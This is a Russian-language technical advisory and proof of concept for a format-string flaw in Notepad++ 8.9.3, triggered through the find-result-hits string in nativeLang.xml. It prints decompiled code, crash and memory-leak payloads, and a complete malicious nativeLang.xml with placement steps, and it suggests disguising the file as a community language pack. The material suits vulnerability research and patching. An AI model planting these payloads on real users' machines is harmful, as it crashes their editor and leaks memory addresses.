
Технический анализ и proof-of-concept для CVE-2026-3008, инъекции строки формата в Notepad++ 8.9.3 через nativeLang.xml, позволяющей осуществить отказ в обслуживании и раскрытие информации.
Когда операция поиска даёт результаты, sub_1400916C0 форматирует метку количества совпадений, извлекая локализованную строку из nativeLang.xml и передавая её напрямую как строку формата в wsprintfW:
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 is the format string
Строка берётся из атрибута <find-result-hits> в nativeLang.xml без какой-либо проверки на любом этапе потока данных:
nativeLang.xml
→ TinyXML parser (reads XML attribute, no content validation)
→ NativeLangSpeaker (UTF-8 → UTF-16 conversion, no validation)
→ sub_140099E60 ($INT_REPLACE$ substitution — format specifiers survive)
→ wsprintfW(buf, v38) (v38 used as format string argument, not data)
wsprintfW вызывается только с двумя аргументами — без вариативных аргументов данных. Любые спецификаторы формата в v38 считывают значения из слотов аргументов соглашения о вызовах x64 (R8, R9, стек), которые содержат остаточный мусор из регистров.
| Поле | Значение |
|---|---|
| Функция | sub_1400916C0 (инициализатор панели Find Results) |
| Адрес стока | 0x140091E6D |
| Триггер | Любой поиск, дающий результаты (Find All, Find in Files, Mark All, Replace All) |
sub_1400916C0 вызывается из четырёх мест в WndProc FindResults (sub_140089BF0):
| Адрес | Триггер |
|---|---|
0x14008B63B | Find in Files |
0x14008B72D | Find All in Current / All Documents |
0x14008B97E | Replace All |
0x14008B9FE | Mark All |
%s (DoS)<find-result-hits value="%s%s%s%s%s%s%s%s"/>
Каждый %s интерпретирует мусорное значение регистра или стека как указатель WCHAR*. Первый недопустимый адрес вызывает немедленное нарушение доступа (STATUS_ACCESS_VIOLATION, 0xC0000005). Notepad++ падает при каждом последующем поиске, пока вредоносный файл не будет удалён — надёжный одноразовый DoS.
%08lx<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
Содержимое стека и регистров считывается как значения DWORD и форматируется в шестнадцатеричном виде, отображаясь на вкладке панели Find Results. Наблюдаемый вывод из живого теста:
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
Такие значения, как 5852bb18 и 7b1052e0, являются усечёнными фрагментами 64-битных указателей.
wsprintfW (user32.dll) не поддерживает %n — примитива write-what-where нет. Его жёстко заданный лимит вывода в 1024 символа точно совпадает с размером буфера назначения, что исключает переполнение буфера в куче. Уязвимость подтверждена как DoS + раскрытие информации. Выполнение кода через одну лишь эту строку формата недостижимо.
nativeLang.xml по умолчанию не существует — установки с английским языком не затронуты. Когда пользователь выбирает неанглийский язык через Settings → Preferences → General → Localization, Notepad++ записывает соответствующий файл в:
| Редакция | Путь |
|---|---|
| Установщик | %APPDATA%\Notepad++\nativeLang.xml |
| Портативная | <npp_directory>\nativeLang.xml |
Из 94 поставляемых файлов локализации 43 содержат элемент <find-result-hits>. Пользователи этих языков уязвимы, если их nativeLang.xml был изменён — например, через вредоносный языковой пакет сообщества, распространяемый на форумах или сайтах загрузки. Атакующий может включить легитимные переводы для всех остальных строк, чтобы файл выглядел нормально.
Поместите следующий файл в <npp_directory>\nativeLang.xml (портативная версия) или %APPDATA%\Notepad++\nativeLang.xml (установщик), затем откройте Notepad++ и выполните любой поиск, дающий результаты (Ctrl+F → Find All in Current Document).
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
Результат: Notepad++ немедленно падает с нарушением доступа в wsprintfW.
Дополнительные варианты полезной нагрузки находятся в каталоге payloads/.